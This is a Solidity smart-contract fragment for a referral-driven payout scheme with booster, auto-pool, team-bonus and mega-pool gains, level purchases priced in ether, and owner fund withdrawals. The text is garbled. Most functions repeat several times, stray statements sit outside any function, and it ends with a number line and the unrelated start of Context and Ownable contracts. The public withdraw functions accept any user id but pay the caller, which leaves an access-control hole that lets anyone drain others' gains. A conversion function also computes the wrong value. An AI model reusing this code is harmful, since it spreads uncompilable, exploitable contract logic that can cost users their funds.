totalCount += ( _turnOverCountLeg1 + _turnOverCountLeg2);
}
if(totalCount >=3000 && totalCount < 15000 && teamBonusGain[_userId][0] == 0)
{
teamBonusGain[_userId][0] = bonusPrice[0];
}
if(totalCount >=15000 && totalCount < 30000 && teamBonusGain[_userId][1] == 0)
{
teamBonusGain[_userId][1] = bonusPrice[1];
}
if(totalCount >=30000 && totalCount < 150000 && teamBonusGain[_userId][2] == 0)
{
teamBonusGain[_userId][2] = bonusPrice[2];
}
if(totalCount >=150000 && totalCount < 300000 && teamBonusGain[_userId][3] == 0)
{
teamBonusGain[_userId][3] = bonusPrice[3];
}
if(totalCount >=300000 && totalCount < 1500000 && teamBonusGain[_userId][4] == 0)
{
teamBonusGain[_userId][4] = bonusPrice[4];
}
if(totalCount >=1500000 && totalCount < 3000000 && teamBonusGain[_userId][5] == 0)
{
teamBonusGain[_userId][5] = bonusPrice[5];
}
if(totalCount >=3000000 && totalCount < 15000000 && teamBonusGain[_userId][6] == 0)
{
teamBonusGain[_userId][6] = bonusPrice[6];
}
if(totalCount >=15000000 && teamBonusGain[_userId][7] == 0)
{
teamBonusGain[_userId][7] = bonusPrice[7];
}
return true;
}
function withdraw(uint256 _userId) public returns (bool)
{
for(uint256 j=0; j<6;j++)
{
withdrawBoosterAndAutoPoolGain(_userId,j);
}
withdrawTeamActivationGain(_userId);
withdrawTeamBonusGain(_userId);
withdrawMegaPoolGain(_userId);
return true;
}
function withdraw(uint256 _userId) public returns (bool)
{
for(uint256 j=0; j<6;j++)
{
withdrawBoosterAndAutoPoolGain(_userId,j);
}
withdrawTeamActivationGain(_userId);
withdrawTeamBonusGain(_userId);
withdrawMegaPoolGain(_userId);
return true;
}
function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(string memory)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
level++;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if((lastLevel > level && refCount >= level * 3) || _userId == 0 )
{
level--;
totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level];
paidBoosterGain[_userId][level] = boosterGain[_userId][level];
for(uint256 i=0;i<6;i++)
{
totalAmount += (autoPoolGain[_userId][i][level] - paidAutoPoolGain[_userId][i][level]);
paidAutoPoolGain[_userId][i][level] = autoPoolGain[_userId][i][level];
}
}
else if(lastLevel < level && refCount >= level * 3)
{
require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail");
return "try again , we bought next level for you";
}
else
{
return "please complete required referral";
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return "success";
}
function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(string memory)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
level++;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if((lastLevel > level && refCount >= level * 3) || _userId == 0 )
{
level--;
totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level];
paidBoosterGain[_userId][level] = boosterGain[_userId][level];
for(uint256 i=0;i<6;i++)
{
totalAmount += (autoPoolGain[_userId][i][level] - paidAutoPoolGain[_userId][i][level]);
paidAutoPoolGain[_userId][i][level] = autoPoolGain[_userId][i][level];
}
}
else if(lastLevel < level && refCount >= level * 3)
{
require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail");
return "try again , we bought next level for you";
}
else
{
return "please complete required referral";
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return "success";
}
function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(string memory)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
level++;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if((lastLevel > level && refCount >= level * 3) || _userId == 0 )
{
level--;
totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level];
paidBoosterGain[_userId][level] = boosterGain[_userId][level];
for(uint256 i=0;i<6;i++)
{
totalAmount += (autoPoolGain[_userId][i][level] - paidAutoPoolGain[_userId][i][level]);
paidAutoPoolGain[_userId][i][level] = autoPoolGain[_userId][i][level];
}
}
else if(lastLevel < level && refCount >= level * 3)
{
require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail");
return "try again , we bought next level for you";
}
else
{
return "please complete required referral";
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return "success";
}
function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(string memory)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
level++;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if((lastLevel > level && refCount >= level * 3) || _userId == 0 )
{
level--;
totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level];
paidBoosterGain[_userId][level] = boosterGain[_userId][level];
for(uint256 i=0;i<6;i++)
{
totalAmount += (autoPoolGain[_userId][i][level] - paidAutoPoolGain[_userId][i][level]);
paidAutoPoolGain[_userId][i][level] = autoPoolGain[_userId][i][level];
}
}
else if(lastLevel < level && refCount >= level * 3)
{
require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail");
return "try again , we bought next level for you";
}
else
{
return "please complete required referral";
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return "success";
}
function withdrawBoosterAndAutoPoolGain(uint256 _userId, uint256 level) public returns(string memory)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
level++;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if((lastLevel > level && refCount >= level * 3) || _userId == 0 )
{
level--;
totalAmount = boosterGain[_userId][level] - paidBoosterGain[_userId][level];
paidBoosterGain[_userId][level] = boosterGain[_userId][level];
for(uint256 i=0;i<6;i++)
{
totalAmount += (autoPoolGain[_userId][i][level] - paidAutoPoolGain[_userId][i][level]);
paidAutoPoolGain[_userId][i][level] = autoPoolGain[_userId][i][level];
}
}
else if(lastLevel < level && refCount >= level * 3)
{
require(buyLevelbyTokenGain(level,_userId ), "internal level buy fail");
return "try again , we bought next level for you";
}
else
{
return "please complete required referral";
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return "success";
}
function withdrawTeamActivationGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i];
paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamActivationGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i];
paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamActivationGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i];
paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamActivationGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamActivationGain[_userId][i] - paidTeamActivationGain[_userId][i];
paidTeamActivationGain[_userId][i] = teamActivationGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamBonusGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i];
paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamBonusGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i];
paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamBonusGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i];
paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawTeamBonusGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,true, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=8;i++)
{
totalAmount += teamBonusGain[_userId][i] - paidTeamBonusGain[_userId][i];
paidTeamBonusGain[_userId][i] = teamBonusGain[_userId][i];
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
function withdrawMegaPoolGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=10;i++)
{
if(megaPoolReadyToWithdraw[_userId][i])
{
totalAmount += megaPoolGain[_userId][i] - paidMegaPoolGain[_userId][i];
paidMegaPoolGain[_userId][i] = megaPoolGain[_userId][i];
}
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
event withdrawTokenEv(uint timeNow, address user,uint amount);
function withdrawMegaPoolGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=10;i++)
{
if(megaPoolReadyToWithdraw[_userId][i])
{
totalAmount += megaPoolGain[_userId][i] - paidMegaPoolGain[_userId][i];
paidMegaPoolGain[_userId][i] = megaPoolGain[_userId][i];
}
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
event withdrawTokenEv(uint timeNow, address user,uint amount);
function withdrawMegaPoolGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=10;i++)
{
if(megaPoolReadyToWithdraw[_userId][i])
{
totalAmount += megaPoolGain[_userId][i] - paidMegaPoolGain[_userId][i];
paidMegaPoolGain[_userId][i] = megaPoolGain[_userId][i];
}
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
event withdrawTokenEv(uint timeNow, address user,uint amount);
function withdrawMegaPoolGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=10;i++)
{
if(megaPoolReadyToWithdraw[_userId][i])
{
totalAmount += megaPoolGain[_userId][i] - paidMegaPoolGain[_userId][i];
paidMegaPoolGain[_userId][i] = megaPoolGain[_userId][i];
}
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
event withdrawTokenEv(uint timeNow, address user,uint amount);
function withdrawMegaPoolGain(uint256 _userId) public returns(bool)
{
uint256 refCount;
uint256 lastLevel;
uint256 totalAmount;
( ,,,,,lastLevel,refCount,) = mscInterface(mscContractAddress).userInfos(networkId,0,false, _userId);
if(lastLevel >= 2 && refCount >= 3 )
{
for(uint256 i=0;i<=10;i++)
{
if(megaPoolReadyToWithdraw[_userId][i])
{
totalAmount += megaPoolGain[_userId][i] - paidMegaPoolGain[_userId][i];
paidMegaPoolGain[_userId][i] = megaPoolGain[_userId][i];
}
}
}
else
{
return false;
}
if(totalAmount>0 ) withdrawToken(totalAmount);
return true;
}
event withdrawTokenEv(uint timeNow, address user,uint amount);
function withdrawToken(uint amount) internal returns (bool)
{
require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail");
require(LMXInterface(tokenContractAddress).addBalanceOf(msg.sender, amount),"balance update fail");
emit withdrawTokenEv(now, msg.sender, amount);
return true;
}
event getEtherFromTokenEv(uint timeNow,address user,uint tokenAmount,uint etherAmount );
function getEtherFromToken(uint amount) public returns (bool)
{
require(LMXInterface(tokenContractAddress).balanceOf(msg.sender) >= amount,"not enough balance");
uint etherAmount = (( amount * 1000000 ) / oneEthToDollar) / 1000000;
require(LMXInterface(tokenContractAddress).subBalanceOf(msg.sender, amount),"balance update fail");
LMXInterface(tokenContractAddress).burnSpecial(msg.sender, amount);
msg.sender.transfer(etherAmount);
emit getEtherFromTokenEv(now,msg.sender, amount, etherAmount );
return true;
}
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
tmp = 0;
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
tmp = 0;
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
tmp = 0;
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
tmp = 0;
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
uint256 j;
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
function viewDashBoardData(uint256 _userId) public view returns(uint256 boostIncome,uint256 rank, uint256 teamActivationIncome,uint256 teamActicationLevel, uint256 teamBonus, uint256 turnOver, uint256 megaIncome, uint256 megaLevel, uint256[6] memory autoPoolIncome, uint256[6] memory autoPoolLevel )
{
uint256 i;
uint tmp;
for(i=0;i<6;i++)
{
tmp = boostIncome;
boostIncome += boosterGain[_userId][i];
if(tmp != boostIncome) rank = i;
}
for(i=0;i<8;i++)
{
tmp = teamActivationIncome;
teamActivationIncome += teamActivationGain[_userId][i];
if (tmp != teamActivationIncome) teamActicationLevel = i;
}
for(i=0;i<8;i++)
{
teamBonus += teamBonusGain[_userId][i];
}
for(i=0;i<3;i++)
{
turnOver += teamTurnOver[_userId][i];
}
for(i=0;i<10;i++)
{
tmp = megaIncome;
megaIncome += megaPoolGain[_userId][i];
if (tmp != megaIncome) megaLevel = i;
}
for(j=0;j<6;j++)
{
tmp = 0;
for(i=0;i<6;i++)
{
tmp = autoPoolIncome[j];
autoPoolIncome[j] += autoPoolGain[_userId][j][i];
if (tmp != autoPoolIncome[j]) autoPoolLevel[j] = i;
}
}
}
event payInEv(uint timeNow,address _user,uint256 amount);
function regUser(uint256 _referrerId,uint256 _parentId) public payable returns(bool)
{
uint amount = levelBuyPrice[0];
require(viewPlanPriceInEther(0) == msg.value, "incorrect price sent");
require(LMXInterface(tokenContractAddress).mintToken(msg.sender, amount),"token mint fail");
require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail");
require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail");
require(mscInterface(mscContractAddress).regUserViaContract(networkId,_referrerId,_parentId,amount),"regUser fail");
emit payInEv(now,msg.sender,msg.value);
return true;
}
function buyLevel(uint256 _planIndex, uint256 _userId) public payable returns(bool)
{
uint amount = levelBuyPrice[_planIndex];
require(viewPlanPriceInEther(_planIndex) == msg.value, "incorrect price sent");
require(LMXInterface(tokenContractAddress).mintToken(msg.sender, amount),"token mint fail");
require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail");
require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail");
require(mscInterface(mscContractAddress).buyLevelViaContract(networkId,_planIndex,_userId, amount),"regUser fail");
emit payInEv(now,msg.sender,msg.value);
return true;
}
event buyLevelbyTokenGainEv(uint256 timeNow, uint256 _networkId,uint256 _planIndex, uint256 _userId, uint amount );
function buyLevelbyTokenGain(uint256 _planIndex, uint256 _userId ) internal returns(bool)
{
uint amount = levelBuyPrice[_planIndex] ;
require( amount <= boosterGain[_userId][_planIndex] - paidBoosterGain[_userId][_planIndex],"not enough amount");
require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail");
require(LMXInterface(tokenContractAddress).addBalanceOf(msg.sender, amount),"balance update fail");
paidBoosterGain[_userId][_planIndex] += amount;
require(LMXInterface(tokenContractAddress).rewardExtraToken(msg.sender,amount),"token reward fail");
require(mscInterface(mscContractAddress).buyLevelViaContract(networkId,_planIndex,_userId, amount),"regUser fail");
emit buyLevelbyTokenGainEv(now,networkId,_planIndex,_userId,amount);
return true;
}
event reInvestEv(uint256 timeNow, uint256 _networkId,uint256 _planIndex, uint256 _userId, uint amount );
function reInvest(uint256 _userId) public returns(bool)
{
uint amount = levelBuyPrice[0];
require(reInvestGain[_userId] >= amount && now <= expiryTime[_userId], "either less amount or time expired" );
require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail");
require(LMXInterface(tokenContractAddress).addBalanceOf(msg.sender, amount),"balance update fail");
paidBoosterGain[_userId][0] += amount;
require(LMXInterface(tokenContractAddress).approveSpecial(msg.sender, mscContractAddress,amount),"approve fail");
require(mscInterface(mscContractAddress).buyLevelViaContract(networkId,0,_userId, amount),"regUser fail");
emit reInvestEv(now,networkId,0,_userId,amount);
return true;
}
event claimReInvestEv(uint256 timeNow, uint256 _networkId,uint256 _planIndex, uint256 _userId, uint amount );
function claimReInvest(uint256 _userId) public onlyOwner returns(bool)
{
uint amount = levelBuyPrice[0] ;
require(reInvestGain[_userId] >= amount && now > expiryTime[_userId], "either less amount or time expired" );
require(LMXInterface(tokenContractAddress).subBalanceOf(mscContractAddress, amount),"balance update fail");
require(LMXInterface(tokenContractAddress).addBalanceOf(owner, amount),"balance update fail");
emit claimReInvestEv(now,networkId,0,_userId,amount);
return true;
}
function setBasicData(address _mscContractAddress,address _tokenContractAddress, uint256 _networkId ) public onlyOwner returns(bool)
{
mscContractAddress = _mscContractAddress;
tokenContractAddress = _tokenContractAddress;
networkId = _networkId;
return true;
}
function setOneEthToDollar(uint _value) public onlySigner returns(bool)
{
oneEthToDollar = _value;
return true;
}
function updateAddress (address payable _admin, address payable _buffer) public onlyOwner returns(bool)
{
adminAddress = _admin;
bufferAddress = _buffer;
return true;
}
function getFund(uint amount, uint _type) public returns(bool)
{
require(_type > 0 && _type < 3, "invalid type");
if(_type == 1) require(msg.sender == owner);
if(_type == 2) require(msg.sender == bufferAddress);
mscInterface(mscContractAddress).doPay(networkId,_type,amount,msg.sender);
return true;
}
function viewPlanPriceInEther(uint256 _levelIndex ) public view returns(uint256)
{
if (_levelIndex < 6) return (( levelBuyPrice[_levelIndex] * 1000000 ) / oneEthToDollar) / 1000000;
return 0;
}
function viewTokenValueInEther(uint256 _amount ) public view returns(uint256)
{
return ( _amount * 1000000 * oneEthToDollar) / 1000000;
}
}
| 13,338,759
|
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
